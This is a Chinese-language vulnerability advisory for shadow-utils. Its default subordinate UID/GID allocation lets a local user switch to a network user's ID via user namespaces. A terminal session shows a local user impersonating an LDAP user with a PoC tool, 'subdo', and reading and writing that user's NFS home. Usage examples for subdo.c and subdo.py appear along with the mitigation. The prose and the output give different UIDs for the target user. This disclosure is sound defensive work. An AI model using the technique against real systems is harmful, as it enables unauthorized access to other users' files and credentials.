shadow-utils - 本地用户不安全的默认从属 ID 分配
默认的从属 ID 分配存在与现有用户 ID 冲突的风险,可能导致任意更改 UID/GID,并未经授权访问数据和网络资源。
基础软件包:shadow-utils 4.4 - 4.17.0
已确认:Debian 12、Red Hat Enterprise Linux 9、Red Hat Enterprise Linux 10。所有使用 shadow-utils 4.4 及更高版本的新近发行版均受影响。
Shadow-utils 开始随附默认配置,将从属 ID 委派给本地用户。
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN 100000
SUB_UID_MAX 600100000
SUB_UID_COUNT 65536
SUB_GID_MIN 100000
SUB_GID_MAX 600100000
SUB_GID_COUNT 65536
#GRANT_AUX_GROUP_SUBIDS yes
$
当通过任何 shadow-utils 工具(adduser、useradd 以及系统安装期间)向系统添加新的本地用户时,每个用户都会获得一个从 UID/GID 100000 开始的 65,536 个 UID 和 GID 的唯一块。例如,以下系统添加了两个本地用户:
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$
从属 ID 配置将指定范围的使用权委派给用户命名空间中的用户,最常用于无根容器化。然而,容器化工具并非进入命名空间的必要条件,可以通过多种方式实现,包括使用默认的 shadow-utils 工具 'newuidmap' 和 'newgidmap'。这允许用户任意更改为委派给他们的范围内任何 ID 的 POSIX 用户 ID。
在以下示例中,用户 ID Jon - UID/GID 1000 - 被委派了一个从 100000 开始的 65,536 个 ID 的 UID/GID 范围。网络通过 LDAP 配置了其他 ID 用于集中式用户管理和登录,网络用户的主目录位于 NFS 上。
UID/GID 108372 属于网络用户 msteph。
利用安装期间创建的默认从属 UID/GID 分配,本地用户可以切换到网络用户的 ID,然后访问 NFS 主目录,以该用户身份读写文件。
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$
虽然 NFS 被用作示例,但这不仅限于 NFS 访问。Kerberos 凭据可能存储在本地系统上的基础设施将面临风险,因为凭据可能从本地系统被获取,从而可能访问其他 kerberized 服务。
应删除 /etc/login.defs 中的 SUB_ 条目。还应删除 /etc/subuid 和 /etc/subgid 中任何非预期的条目。
用于将 UID/GID 更改为所需分配的从属 ID 的 POC 附在 subdo.c 和 subdo.py 中。
POC 将内部和外部 ID 映射到相同 ID,然后在命名空间内 setuid() 和 setgid() 到该 ID,这意味着在命名空间内的 shell 中执行的所有命令现在都以该 uid/gid 在主机上执行。
允许以所需的从属 UID/GID 执行任何命令和参数。
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example:
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
以所需的从属 UID/GID 执行 /bin/bash。
Usage: ./subdo.py -u $uid -g $gid
Example:
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$